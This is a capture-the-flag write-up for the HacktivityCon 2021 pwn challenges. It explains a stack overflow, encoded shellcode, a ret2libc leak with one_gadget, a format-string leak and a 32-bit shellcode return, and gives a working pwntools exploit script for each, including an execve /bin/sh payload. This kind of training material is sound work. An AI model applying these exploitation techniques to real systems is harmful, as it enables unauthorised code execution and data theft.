HacktivityCon 2021 Pwn

Tasks

easy

  • retcheck
  • shellcoded
  • the library
  • faucet

medium

  • yabo

you can find challenges and exploit Here

retcheck (easy)

This was a easy level challenge all you have to do is overwrite the return address with address of function win but with a twist and here it is

this piece of code checks if we ovewrite the address of the function vuln in which overflow was occured. If that return address is overwritten then it calls abort thats why name is retcheck

then how to call win right? well we can overwrite the return address of main which is few offsets away from return address of vuln

from pwn import *
context.arch = 'amd64'

offset = 0x190+8
payload = b""
payload += b"A" * offset
payload += p64(0x401465)
payload += cyclic(cyclic_find(0x61616163))
payload += p64(0x4012e9)

flag = False

if flag:
    p = process("./retcheck")
else:
    p = remote("challenge.ctf.games",31463)

p.recv()
p.sendline(payload)
print(p.recvall())

flag is flag{a73dc20c1cd1f918ae7b591e8625e349}

shellcoded (easy)

shellcode + encoded = shellcoded I guess this is what they meant cause this challenge was pretty straight forward all it does it takes shellcode as a user input and executes it.

Not that hard right 😂 except it performs some encoding on shellcode and the encoding is, it iterates over the length of the shellcode and for every odd counter value it subtracts counter value from shellcode byte and for every even counter value it does exact opposite means instead of subtracting it adds the counter value to shellcode byte.

for example :

shellcode = "ABCD"

for i in range(len(shellcode)):
    shellcode[i] = shellcode[i] - i if i & 1 else shellcode[i] + i

reversing the encoding algorithm isn’t that hard but keep in mind that byte value ranges from 0 to 255 or 0x0 to 0xff what I mean by that lets take a scenario the syscall instruction has opcode of \x0f\x05(0x0f 0x05) now either 0x0f or 0x05 is going to be at the odd index right? so if your shellcodes length is greater than 0x0f boom 💥 now your byte will go into negative cause of your reversing algorithm and your shellcodes broken now

Then what we gonna do? just arrange the shellcode instruction accordingly and your are good to go

def shellcode_generator():
    shellcode = asm('''
                    jmp main
                sys:
                    syscall
                main:
                    xor rdx, rdx
                    xor rsi, rsi
                    mov rbx,0x0068732f6e69622f
                    push rbx
                    push rsp
                    pop rdi
                    mov al, 59
                    je sys
            ''')

    shellcode = list(shellcode)
    return shellcode_filter(shellcode)

shellcode = shellcode_generator()

flag = True

if flag:
    p = process("./shellcoded")
else:
    p = remote("challenge.ctf.games",32383)

p.recv()
p.send(shellcode)
p.interactive()

flag is flag{f27646ae277113d24c73dbc66a816721}

the library (easy)

the challenge prints some book names and ask for you to guess which book the challenge is thinking of now and that field has a buffer overflow vulnerability

Exploit will go something like this first we will use ret2puts (You can Click Here to see how ret2puts works) and then we will use one_gadget which will drop us a shell.

exp1 : [padding][pop_rdi_gadget][puts.got][puts.plt][main]
exp2 : [padding][onegadget]

one_gadget is a tool which will find the offsets in glibc which will execute execve("/bin/sh",0,0)

from pwn import *
context.arch = "amd64"

elf = ELF("the_library")
libc = ELF("libc-2.31.so")
rop = ROP("the_library")

offset = 0x220 + 8
padding = b""
padding += b"A" * offset

p = remote("challenge.ctf.games",30384)

def leak_libc_base():
    ropchain = flat(
            rop.rdi.address,
            elf.got['puts'],
            elf.plt['puts'],
            elf.symbols['main']
    )

    p.recv()
    p.sendline(padding + ropchain)
    p.recvuntil(b"Wrong :(\n")

    puts = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = puts - libc.symbols['puts']
    log.info("puts leak : " + hex(puts))
    log.info("libc base address : " + hex(libc_base))

    return libc_base

def one_gadget(libc_base):
    onegadget = libc_base + 0xe6c81
    p.recv()
    p.sendline(padding + p64(onegadget))
    p.interactive()

libc_base = leak_libc_base()
one_gadget(libc_base)

flag is flag{54b7742240a85bf62aa6fcf16c7e66a4}

faucet (easy)

IDK if it counts for the writeup or not but when I downloaded this challenge and played around with it it was already late night and I went to bed and solved this challenge this morning locally but when I open the ctf site for remote IP I saw ctf was already ended. But, still here it is

After playing around with the binary cause it uses a switch case i found that 5th case allow us to buy an item and ask for the item name and after that it just prints out you bought XXXXX so our input was reflecting so I check for format string and yep there it is it started printing values on stack.

when I open the binary in binary ninja i found that the binary opens the flag.txt and reads the flag in a global variable named FLAG

I first look values on the stack and found that I can leak some address of binary as it was on the stack at 8th offset

p.recv()
p.sendline(b"5")
p.recv()
p.sendline(b"%8$p")
p.recvuntil(b"have bought a ")
base = int(p.recv(14),16) - 0x1740

Then the FLAG variable is at 0x4060 offset from base address of binary

Then all we have to do is print the flag address as string %s and we will get our flag

p.recv()
p.sendline(b"5")
p.recv()
payload = b"%7$s    "
payload += p64(base + 0x4060)
p.sendline(payload)
print(p.recv())

our input is at the 6th offset on stack so we can put our %s modifier there and put address of FLAG at the next offset which is 7th and thats why %7$s and we will get our flag

the reson why there are spaces after %7$s is cause we have to allign our address as a perfect 8 byte address

flag is flag{6bc75f21f8839ce0db898a1950d11ccf}

yabo (medium)

its a 32 bit buffer overflow + shellcoding challenge cause there are no mitigation I mean no pie, no canary, executable stack.

Binary executes then fork() a child process which calls a vuln() function in which overflow occurs.

So we can put shellcode Simple ORW shellcode on stack but real question is where to return I mean we cannot leak stack address…

But, when i was debudding the binary in the gdb and i was about to hit ret I saw eax was pointing to our shellcode so I look for some gadgets and found a gadget calling eax call eax so I put that as return address boooom💥 code execution redirected and we got out flag

from pwn import *
context.arch = 'i386'

shellcode = asm('''
                xor eax,eax
                xor ecx,ecx

                push eax
                push 0x7478742e
                push 0x67616c66
                mov ebx,esp
                
                mov al,5
                int 0x80

                xor ebx,ebx
                mov cl,al

                mov bl,4
                xor edx,edx

                mov al,187
                int 0x80
            ''')

callrax = 0x0804901d

offset = cyclic_find(0x6b61616c)

payload = b""
payload += shellcode
payload += b"\x90" * (offset - len(shellcode))
payload += p32(callrax)

p = remote("challenge.ctf.games",32762)
print(p.recv())
p.send(payload)
print(p.recvall())

flag is flag{2f20f16416a066ca5d4247a438403f21}

you can find challenges and exploit Here